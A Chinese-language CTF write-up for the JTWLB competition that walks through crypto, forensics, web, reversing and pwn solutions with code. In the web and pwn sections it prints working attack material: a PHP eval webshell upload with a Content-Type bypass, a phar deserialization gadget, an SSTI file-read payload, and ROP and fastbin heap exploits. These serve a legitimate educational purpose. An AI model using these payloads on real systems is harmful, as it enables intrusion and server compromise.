kir[A]'s 小黑屋

JTWLB-CTF-Writeup

字数统计: 4.1k阅读时长: 22 min
2019/09/05 1142 Share

JTWLB CTF非官方writeup

前言

这次JT的CTF题目质量还是不错的,但是运维CTF加一起才5小时,时间实在太紧,而且CTF的性价比明显不高,大部分题目都不只一个考点,也设了不少坑(出题人称为了防止AK)。比赛的时候,很多题目都没时间打开看,因此赛后重新把没做出来的题目复现一下,简单写了一下writeup,各位大佬如果有哪里看不懂,也不要找我,找出题人去~

crypt

babyrsa

题目提供的e=33,不是素数,直接求d会报错,因此需要先用e=11求出一个d,然后进行一次解密,之后就是e=3的套路了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from libnum import *
from gmpy2 import iroot

p=115527813793076185316851381449805634312168762458657191403286815066526250953188706928583056798579604342852966744015346317325822694054887219898915721915782637754329465514052854924553817535032759938725270570934210214428213523012934841467181935253769089655932739804044118941188314706468747928929674022797932677491
q=166400672883439986828248067692123363689048001045100362967157232932898845079847645677561248632693179197251519134531321011154377754163164855606639412545072704732134708868296084256496193743609181923015517115351345445824153230019197616579730076056575061573322756305055859636790371958064604509869192577321790513607
e=33
c=2115560894194923855739630759560263432863369647495989278797186061331927960652175182534536593259714647189428014744205682895048988970744494185844850545176656896750073471540369186693731841022954707114460986390619090986241777895532597176340296883545005058917849321578371609829147178589075514145416374661047508694566576157432639591003296975055455249269260800329069263661498941662392614602189878893057734163983485998267416879197126412977444307775211162627226211229437593330963712320994664878058875181731837287047039480049127389471576406574432640255100250675953098648028434804235316276464230311654580987077193891045891045379

d = invmod(11,(q-1)*(p-1))
c3 = pow(c,d,q*p)
i = 0
while 1:
res = iroot(c3+i*q*p,3)
if(res[1] == True):
print i,res,n2s(int(res[0]))
break
i = i+1

easyCrypto

古典加密算法告诉我们,只要加密算法不泄露,那就很安全。什么单表替换,什么移位、栅栏,统统都不用。 来,加密接口给你,随便你试。

纯脑洞,加密算法是加法,例如181dchr(0x18+0x1d)

1
2
3
4
5
a='52112013243f2a0f280b22131e181f19412322101b192113260c0c29540d191e2b380d2b1f112017273c134f51121f133034191f191a560d10250b2521162312'
b=''
for i in range(0,len(a),4):
b+=chr(int('0x'+a[i:i+2],16)+int('0x'+a[i+2:i+4],16))
print b

Vigenere+++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
from secret_file import *
def _l(idx, s):
return s[idx:] + s[:idx]
def main(p, k1, k2):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
c = ""
for a in p:
c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])]
i1 = (i1 + 1) % len(k1)
i2 = (i2 + 1) % len(k2)
return c

flag="flag{************************}"
key="**********"

# * 为马赛克,长度为1。
# hint: 可以自己尝试下运行加密函数,看看秘钥对加密结果的影响。
# hint: 首先根据线索求秘钥,秘钥不唯一,找到一个有效的,就能爆破flag了。
print main(flag, key, key[::-1])

# 程序运行结果(即密文为):
# }z_{xv0uzXMHo2HKN8{SiY3A_81UoW

不难看出密码表有t[i][j][k]=t[i][k][j]这个规律,由于加密的key1和key2是互为倒序,j+k是固定值,那么只要固定5位(前后无所谓),然后爆破另外5位就OK了。对于相同的明文来说,可能有多个密钥使其生成相同的密文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"

def _l(idx, s):
return s[idx:] + s[:idx]

def decrypt(ct, k1, k2):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
decrypted = ""
for a in ct:
for c in s:
if t[s.find(c)][s.find(k1[i1])][s.find(k2[i2])] == a:
decrypted += c
break
i1 = (i1 + 1) % len(k1)
i2 = (i2 + 1) % len(k2)
return decrypted


def get_key(plain, cipher, key_len):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
key = ['*'] * key_len
for i in range(len(plain)):
for i1 in range(len(s)):
for i2 in range(5):
if t[s.find(plain[i])][s.find(s[i1])][s.find(s[i2])] == cipher[i]:
key[i] = s[i1]
key[key_len-1-i] = s[i2]
return ''.join(key)

ciphertext = "}z_{xv0uzXMHo2HKN8{SiY3A_81UoW"
key = get_key("flag{", ciphertext, 10)
flag = decrypt(ciphertext, key, key[::-1])
print(flag)

misc

checkin

LSB,RGB 3个通道各有一个二维码,过程略。

Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys

with open('/home/ctf/flag') as f:
flag=f.readline()
userdata = {"user" : "hacker", "flag" : flag }

print("Input flag:")
sys.stdout.flush()
input_flag = raw_input("")

if input_flag != userdata["flag"]:
print ("Flag " + input_flag + " is wrong for user %(user)s") % userdata
else:
print("Flag is your input")

最简单的一题,直接%s,或者%(flag)s

日志分析

日志里面有很明显的数据库注入语句,使用的是布尔二分法注入,比赛的时候我是直接人工智障处理的(简单来说就是人肉看,不推荐),还是写代码比较正路。

二分法注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# coding:utf-8
import re

f = open('8.pcapng','rb')
res = open('res.txt','wb')

for i in f.readlines():
tmp = i
re1 = re.findall(r'/\?id=1\'/\*\*/and/\*\*/(.*) HTTP/1.1',i)
if len(re1) > 0:
res.write(re1[0]+'|')
if 'Content-Length: 332' in i or 'Content-Length: 366' in i:
res.write(i)
res.close()

res = open('res.txt','rb')
flag = ''
check = [32,126]
for i in res.readlines():
# ascii(substring((select/**/keyid/**/from/**/flag/**/limit/**/0,1),1,1))%3C79%23|Content-Length: 332
tag = re.findall(r',(\d{,2}),1\)\)%3C(\d{,3})%23\|Content-Length: (\d{3})',i)[0]
if tag[2] == '332': # False
check[0] = int(tag[1])
else:
check[1] = int(tag[1])
print check
if check[1] - check[0] == 1:
flag += chr(check[0])
check = [32,126]
print '[!]',flag

内存取证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@kali:~/volatility# python vol.py -f 2.data --profile=WinXPSP1x64 psscan
Volatility Foundation Volatility Framework 2.6.1
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
0x00000000008da800 winlogon.exe 372 296 0x0000000006779000 2019-08-17 07:21:05 UTC+0000
0x00000000008dac20 csrss.exe 348 296 0x0000000006b09000 2019-08-17 07:21:05 UTC+0000
0x00000000009684b0 services.exe 420 372 0x000000000852a000 2019-08-17 07:21:06 UTC+0000
0x00000000009f46b0 smss.exe 296 4 0x0000000007974000 2019-08-17 07:21:03 UTC+0000
0x000000000144c770 explorer.exe 1460 1440 0x000000000c637000 2019-08-17 07:21:30 UTC+0000
0x000000000145a650 svchost.exe 1152 420 0x000000000cf6d000 2019-08-17 07:21:24 UTC+0000
0x000000000146b040 msdtc.exe 1056 420 0x000000000b0a5000 2019-08-17 07:21:24 UTC+0000
0x0000000001734b10 cmd.exe 2448 1296 0x000000000f406000 2019-08-17 07:30:53 UTC+0000 2019-08-17 07:30:53 UTC+0000
0x0000000005a79040 pythonw.exe 2412 2364 0x000000000dc1c000 2019-08-17 07:30:40 UTC+0000
0x0000000005faac20 spoolsv.exe 1028 420 0x000000000a7e8000 2019-08-17 07:21:23 UTC+0000
0x0000000005fb69a0 ipconfig.exe 2456 2448 0x0000000000765000 2019-08-17 07:30:53 UTC+0000 2019-08-17 07:30:53 UTC+0000
0x00000000060e0c20 System 4 0 0x000000000fd01000
0x000000000714da50 vmtoolsd.exe 1832 1460 0x0000000007524000 2019-08-17 07:21:32 UTC+0000
0x0000000007288c20 TPAutoConnSvc.e 1776 420 0x000000000708f000 2019-08-17 07:21:32 UTC+0000
0x00000000092acc20 vmacthlp.exe 620 420 0x00000000091aa000 2019-08-17 07:21:06 UTC+0000
0x00000000096a6040 svchost.exe 664 420 0x000000000986e000 2019-08-17 07:21:06 UTC+0000
0x00000000098367d0 ctfmon.exe 1840 1460 0x000000000b8a0000 2019-08-17 07:21:32 UTC+0000
0x0000000009a19040 svchost.exe 720 420 0x0000000009818000 2019-08-17 07:21:06 UTC+0000
0x0000000009c10ab0 svchost.exe 784 420 0x0000000009e89000 2019-08-17 07:21:06 UTC+0000
0x0000000009fc6040 svchost.exe 816 420 0x000000000a044000 2019-08-17 07:21:06 UTC+0000
0x000000000a163040 svchost.exe 852 420 0x000000000a162000 2019-08-17 07:21:06 UTC+0000
0x000000000a3751f0 wmiprvse.exe 1940 664 0x000000000b0a1000 2019-08-17 07:21:32 UTC+0000
0x000000000b03d040 pythonw.exe 2364 1460 0x0000000008048000 2019-08-17 07:30:31 UTC+0000
0x000000000b106c20 VGAuthService.e 1260 420 0x000000000cae7000 2019-08-17 07:21:24 UTC+0000
0x000000000b617040 dllhost.exe 2036 420 0x000000000e070000 2019-08-17 07:21:32 UTC+0000
0x000000000bf68040 ctfmon.exe 1908 1840 0x0000000009550000 2019-08-17 07:21:32 UTC+0000
0x000000000c0af040 dllhost.exe 1952 420 0x000000000c0b0000 2019-08-17 07:21:32 UTC+0000
0x000000000cba6c20 svchost.exe 1660 420 0x000000000d7bd000 2019-08-17 07:21:31 UTC+0000
0x000000000d942650 TPAutoConnect.e 2176 1776 0x000000000aa03000 2019-08-17 07:21:33 UTC+0000
0x000000000d9a57d0 vmtoolsd.exe 1296 420 0x000000000e2bc000 2019-08-17 07:21:24 UTC+0000
0x000000000ec16c20 vssvc.exe 2108 420 0x000000000693a000 2019-08-17 07:21:33 UTC+0000
0x000000000ec3c580 lsass.exe 432 372 0x0000000008701000 2019-08-17 07:21:06 UTC+0000

其中比较可疑的是pythonw.exe进程,把这个进程的内存dump下来,然后尝试用关键字过滤,最后可以找到一个python脚本。内存很大,出题人说用winhex搜索就行了,我用的是strings。

1
python vol.py -f 2.data --profile=WinXPSP1x64 memdump -D /tmp/ -p 2364

加密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#-*- coding:utf-8 -*-
import os
from base64 import b64encode
# flag{ this is not flag, it's just a comment in python source file.I hide some secret with python, I don't think you can found it.
secret_file_name = 'flag.txt'
secret_file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), secret_file_name)
secret = ''
with open(secret_file_path, 'r') as f:
secret = f.read()
os.remove(secret_file_path)
key = input("Set a value 0x00 < key < 0xff:")
key = int(key[2:],16)
def encrypt(content, key):
result = ''
for c in content:
result += chr(ord(c) ^ key)
return b64encode(result.encode('utf-8'))
for i in range(3):
secret = encrypt(secret, key)
if type(secret) != 'str':
secret = secret.decode('utf-8')
result_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lalala.secret')
with open(result_path, 'w') as f:
f.write(secret)
os.remove(os.path.abspath(__file__))

\Device\HarddiskVolume1\Documents and Settings\Administrator\桌面找到加密后的文件lalala.secret,内存搜索一大串base64也可以,加密字符串特征比较明显。听说有大神找base64字符串,直接脑补了加密算法,我只能说刚刚NB。

直接爆破key即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
m = 'c1IufV1PRUZOX1VtTyYiIE9BRXJxeyZSWyRVc0MmIiJPQS52cU9FUkN6XXVyQlJ7c1JFQHJBI3xGeWNzcXtnL3QkZyNccCoq=='

def decrypt(content, key):
result = ''
content = b64decode(content).decode('utf-8')
for c in content:
result += chr(ord(c) ^ key)
return result

for i in range(0x100):
try:
m2 = decrypt(m,i)
m3 = decrypt(m2,i)
flag = decrypt(m3,i)
print(flag)
except:
pass

web

web1 简单渗透

扫描目录发现backup.zip,根据zip内容修改hosts,使用提示给的账号密码访问后台,后台存在文件上传,修改Content-Typeimage/jpeg即可传php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /user/upload.html HTTP/1.1
Host: admin.blogdemo2.com
Content-Length: 415
Cache-Control: max-age=0
Origin: http://admin.blogdemo2.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeB2UUeqAwLr2uKY1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://admin.blogdemo2.com/user/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: _adminCSRF=3e0552599661ff4611ef79136f2b18cfcc7c3d191d7a61814ba0bcf79f526234a%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22_adminCSRF%22%3Bi%3A1%3Bs%3A32%3A%22swDNSQwqnTeYymLVfcfZ2RbqL9oNilNu%22%3B%7D; PHPBACKSESSION=r7f12vcl3nga9lijjmi9a3nfn0; _identity=2ee88609ab19408b884b602fe183b26b1737b78b2f7e765bb971b50fe8734f55a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22pG7TRyTIXlEbcenpi34TzmMYS2zDsMTF%22%2C2592000%5D%22%3B%7D
Connection: close

------WebKitFormBoundaryeB2UUeqAwLr2uKY1
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryeB2UUeqAwLr2uKY1
Content-Disposition: form-data; name="uploaded"; filename="123.php"
Content-Type: image/jpeg

<?php @eval($_POST[c]);?>
------WebKitFormBoundaryeB2UUeqAwLr2uKY1
Content-Disposition: form-data; name="Upload"

上传
------WebKitFormBoundaryeB2UUeqAwLr2uKY1--

web2 澳门赌场

查看源码或者抓包,可以看到post分数的包,直接爆破4位分数。当时不会用burp,直接写了个py脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import hashlib

def md5(x):
return hashlib.md5(x).hexdigest()

session = requests.Session()

for i in range(1,10000):
number = str(i).rjust(4,'0')
sign = md5(number)
#print number
paramsPost = {"sign":sign,"number":number}
response = session.post("http://10.55.2.50/result.php", data=paramsPost)
if "Bad Luck" not in response.content:
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
break

web3 treehole

扫描发现index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//图片展示
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
function get_pic(){
return file_get_contents($this->pic_path);
}
function __destruct(){
echo $this->get_pic();
}
}
//我没有用include,用的是file_get_content,不会有漏洞的

尝试上传图片,测试发现基本没限制,只要扩展名和文件类型正确即可。而留言的地方有path参数,测试发现如果文件已存在会提示,那么大胆猜测存在file_exists这个函数,这个函数可以触发phar反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
}

$a = new ShowPic('/var/www/html/class.php');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub, 增加gif文件头,伪造文件类型
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

生成一个phar用图片上传,然后在留言处触发反序列化。

万恶的出题人过滤了phar,可以加compress.zlib://绕过

flag在/flag

尝试读取各个文件源码,看看是否有getshell可能性。

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
class create_treehole{
public $path;
public $realpath = "";
public $complaint = "";
function __construct($path,$complaint){
$this->complaint = $complaint;
$this->path = $path;
$this->realpath = "";
}
function make(){
$this->realpath = $this->create_name($_SERVER["REMOTE_ADDR"]);
file_put_contents($this->realpath, $this->complaint);
}
function back(){
echo "您的烦恼保存在了 ".$this->realpath."</br>";
}
function create_name($str){
$salt='';
for ($i = 0; $i < 10; $i++){
$salt .= chr(mt_rand(33,126));
}
$str = "./treehole/".md5($str.$salt).".txt";
return $str;
}

}
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
function get_pic(){
return file_get_contents($this->pic_path);
}
function __destruct(){
echo $this->get_pic();
}
}

complaint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require_once("class.php");
if(isset($_POST["complaint"])&&isset($_POST["path"])){
if (preg_match("/^phar|php|zip|data/i", $_POST["path"])) {
die("detect hacker!!!");
}
else {
if(file_get_contents($_POST["path"])){
echo "exists";
}
else{
$treehole = new create_treehole($_POST["path"], $_POST["complaint"]);
$treehole->make();
$treehole->back();
}
}

}
else{
echo "error";
}

原来是file_get_contents,猜错了。。。

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
$whitelist=['.jpg','.png'];
$file=$_FILES['file']['name'];
if($_FILES) {
if (!in_array(substr($file, -4), $whitelist)) {
die("文件后缀必须是.jpg或.png");
}
move_uploaded_file($_FILES["file"]["tmp_name"], "pic/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "pic/" . $_FILES["file"]["name"];
}
else{
echo "无文件被上传";
}
?>

想不到办法getshell,有思路欢迎找我讨论。

web4 ssti

过滤了[],使用__getitem__绕过

1
msg=''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/flag').read()

时间有限,拿了flag就跑,没时间读源码。

re

基本能力

题目提供c代码以及func函数的汇编码

1
2
3
4
5
6
7
int main(int argc, char const *argv[])
{
char input[] = {0x0,0x67,0x6e,0x62,0x63,0x7e,0x41,0x4b,0x3b,0x4c,0x7e,0x51,0x5c,0x49,0x62,0x77,0x78,0x62,0x79,0x51,0x79,0x70,0x75,0x2e,0x2e,0x70,0x48,0x66,0x1c};
func(input, 28);
printf("%s",input+1);
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
00000000004004e6 <func>:
55 push rbp
48 89 e5 mov rbp,rsp
48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi
89 75 e4 mov DWORD PTR [rbp-0x1c],esi
c7 45 fc 01 00 00 00 mov DWORD PTR [rbp-0x4],0x1
eb 28 jmp 400522 <func+0x3c>
8b 45 fc mov eax,DWORD PTR [rbp-0x4]
48 63 d0 movsxd rdx,eax
48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
48 01 d0 add rax,rdx
8b 55 fc mov edx,DWORD PTR [rbp-0x4]
48 63 ca movsxd rcx,edx
48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18]
48 01 ca add rdx,rcx
0f b6 0a movzx ecx,BYTE PTR [rdx]
8b 55 fc mov edx,DWORD PTR [rbp-0x4]
31 ca xor edx,ecx
88 10 mov BYTE PTR [rax],dl
83 45 fc 01 add DWORD PTR [rbp-0x4],0x1
8b 45 fc mov eax,DWORD PTR [rbp-0x4]
3b 45 e4 cmp eax,DWORD PTR [rbp-0x1c]
7e d0 jle 4004fa <func+0x14>
90 nop
5d pop rbp
c3 ret

加密函数的逻辑不是很复杂,是一个xor加密

1
2
3
4
5
for ( i = 1; i < len(flag); ++i )
{
flag[i] ^= i;
}
return flag;

1
2
3
>>> a=[0x0,0x67,0x6e,0x62,0x63,0x7e,0x41,0x4b,0x3b,0x4c,0x7e,0x51,0x5c,0x49,0x62,0x77,0x78,0x62,0x79,0x51,0x79,0x70,0x75,0x2e,0x2e,0x70,0x48,0x66,0x1c]
>>> ''.join([chr(a[i]^i) for i in range(len(a))])
'\x00flag{GL3EtZPDlxhskBmec96iR}\x00'

gameapp

app是一个打飞机的游戏,需要获得99999分,通过burp抓包,可以发现app加分的操作是通过http包发给远程服务器,数据使用RSA进行了加密。用JEB可以看到具体的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void addScore(int arg7) {
this.score += ((long)arg7);
JSONObject v1 = new JSONObject();
try {
v1.put("score", arg7);
v1.put("op", "add");
this.DATA = v1.toString();
this.URL = "http://" + HttpUnit.baseHOST + "/score/";
new Thread(this.runnable).start();
}
catch(Exception v0) {
v0.printStackTrace();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void run() {
String v3;
try {
v3 = HttpUnit.post(MainActivity.this.URL, RsaUnit.private_encrypt(MainActivity.this.DATA));
}
catch(Exception v1) {
v1.printStackTrace();
}

Message v2 = new Message();
Bundle v0 = new Bundle();
v0.putString("value", v3);
v2.setData(v0);
MainActivity.this.handler.sendMessage(v2);
}

抓包可以抓到大飞机加30分的包,发过去后会更新session,更改session后继续发同样的密文直到99999分

1
2
3
4
5
6
7
8
9
10
11
12
POST /score/ HTTP/1.1
Content-type: w1nds
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; )
Host: 120.194.198.16:8097
Connection: close
Accept-Encoding: gzip, deflate
Cookie: session=eyJwbGF5ZXIiOiJQbGF5ZXJOYW1lIiwic2NvcmUiOjUwfQ.XW3OAw.YBB___pWnlc9P560vCQk4H-gA5Y
Content-Length: 175

MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8=

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re

def add_score():
global s
paramsPost = """MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8="""
cookies = {"session":s}
response = requests.post("http://x.x.x.x:xxxx/score/", data=paramsPost, cookies=cookies)
s2 = response.headers['Set-Cookie']
new_s = re.findall(r'session=(.*); HttpOnly; Path=/',s2)[0]
s = new_s
print("Response body: %s" % response.content)
return response.content

s="eyJwbGF5ZXIiOiJQbGF5ZXJOYW1lIiwic2NvcmUiOjYxMDEwfQ.XW3Wbg.4Bla3WMuSxCCv_8AQD9rNJGZ_ME"
while ('flag' not in add_score()):
pass

Dragon Quest

程序读取输入后进行计算,start_quest返回值为0x1337即正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fgets(&s, 257, stdin);
std::allocator<char>::allocator(&v8, 257LL);
std::string::string(&v9, &s, &v8);
std::allocator<char>::~allocator(&v8);
std::string::string((std::string *)&v7, (const std::string *)&v9);
v3 = start_quest((std::string *)&v7);
std::string::~string((std::string *)&v7);
if ( v3 == 0x1337 )
{
std::string::string((std::string *)&v6, (const std::string *)&v9);
reward_strength((std::string *)&v6);
std::string::~string((std::string *)&v6);
}
else
{
std::operator<<<std::char_traits<char>>(
&std::cout,
(unsigned int)"\n[-] You have failed. The dragon's power, speed and intelligence was greater.\n",
v4);
}

由于代码逻辑非常复杂,根据题目提示,应该使用暴力爆破解题。

1
v6 = std::string::length(v11) - 1LL != legend >> 2; // legend = 0x73 ; 0x73 >> 2 = 28

题目会验证输入长度,可以在伪代码中看出,或者爆破一下输入长度。

这题需要使用pintool进行爆破,GitHub有ctf专用版:https://github.com/ChrisTheCoolHut/PinCTF ,原理是统计不同输入,程序运行的指令数量,判断输入是否正确。本题是example的原题,这是抄袭呀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
./pinCTF.py -f examples/wyvern_c85f1be480808a9da350faaa6104a19b -i -l obj-intel64/ -sl 28 -r abcdefghijklmnopqrstuvwxyz012345_-+LVMA -sk
[+] iter 0 using d for dAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 1 using r for drAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 2 using 4 for dr4AAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 3 using g for dr4gAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 4 using 0 for dr4g0AAAAAAAAAAAAAAAAAAAAAAA
[+] iter 5 using n for dr4g0nAAAAAAAAAAAAAAAAAAAAAA
[+] iter 6 using _ for dr4g0n_AAAAAAAAAAAAAAAAAAAAA
[+] iter 7 using o for dr4g0n_oAAAAAAAAAAAAAAAAAAAA
[+] iter 8 using r for dr4g0n_orAAAAAAAAAAAAAAAAAAA
[+] iter 9 using _ for dr4g0n_or_AAAAAAAAAAAAAAAAAA
[+] iter 10 using p for dr4g0n_or_pAAAAAAAAAAAAAAAAA
[+] iter 11 using 4 for dr4g0n_or_p4AAAAAAAAAAAAAAAA
[+] iter 12 using t for dr4g0n_or_p4tAAAAAAAAAAAAAAA
[+] iter 13 using r for dr4g0n_or_p4trAAAAAAAAAAAAAA
[+] iter 14 using i for dr4g0n_or_p4triAAAAAAAAAAAAA
[+] iter 15 using c for dr4g0n_or_p4tricAAAAAAAAAAAA
[+] iter 16 using 1 for dr4g0n_or_p4tric1AAAAAAAAAAA
[+] iter 17 using a for dr4g0n_or_p4tric1aAAAAAAAAAA
[+] iter 18 using n for dr4g0n_or_p4tric1anAAAAAAAAA
[+] iter 19 using _ for dr4g0n_or_p4tric1an_AAAAAAAA
[+] iter 20 using i for dr4g0n_or_p4tric1an_iAAAAAAA
[+] iter 21 using t for dr4g0n_or_p4tric1an_itAAAAAA
[+] iter 22 using 5 for dr4g0n_or_p4tric1an_it5AAAAA
[+] iter 23 using _ for dr4g0n_or_p4tric1an_it5_AAAA
[+] iter 24 using L for dr4g0n_or_p4tric1an_it5_LAAA
[+] iter 25 using L for dr4g0n_or_p4tric1an_it5_LLAA
[+] iter 26 using V for dr4g0n_or_p4tric1an_it5_LLVA
[+] iter 27 using M for dr4g0n_or_p4tric1an_it5_LLVM
[+] Found pattern dr4g0n_or_p4tric1an_it5_LLVM

pwn

pwn不难,没脑洞没坑

pwn 1

栈溢出后ROP即可

1
2
3
4
5
6
pr = 0x0000000000400863 # pop rdi ; ret
p.sendlineafter('name:','a'*0x78+flat(pr,elf.got['read'],elf.plt['puts'],0x400776))
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['read']
success(hex(libc.address))
p.sendlineafter('name:','a'*0x78+p64(libc.address+0x4526a))
p.interactive()

pwn 2

free之后没有清空指针,存在UAF,double free之后直接fastbin attack,其中edit功能可以不用。比赛的时候给的libc是ARM,就问你坑不坑~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def add(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('data:',content)

def delete(idx):
p.sendlineafter('choice :','2')
p.sendlineafter('index:',str(idx))

def show(idx):
p.sendlineafter('choice :','4')
p.sendlineafter('index:',str(idx))

add(0x100,'111') # 0
add(0x100,'111') # 1
delete(0)
show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b20-88
success(hex(libc.address))
add(0x100,'111') # 0

add(0x50,'111') # 2
add(0x50,'111') # 3
add(0x50,'111') # 4

delete(2)
delete(3)
delete(2)

add(0x50,p64(0x601ffa)) # 2
add(0x50,'4444') # 3
add(0x50,'6666') # 5
add(0x50,'a'*0x16+p64(libc.address+0x45216))
p.interactive()

CATALOG
  1. 1. JTWLB CTF非官方writeup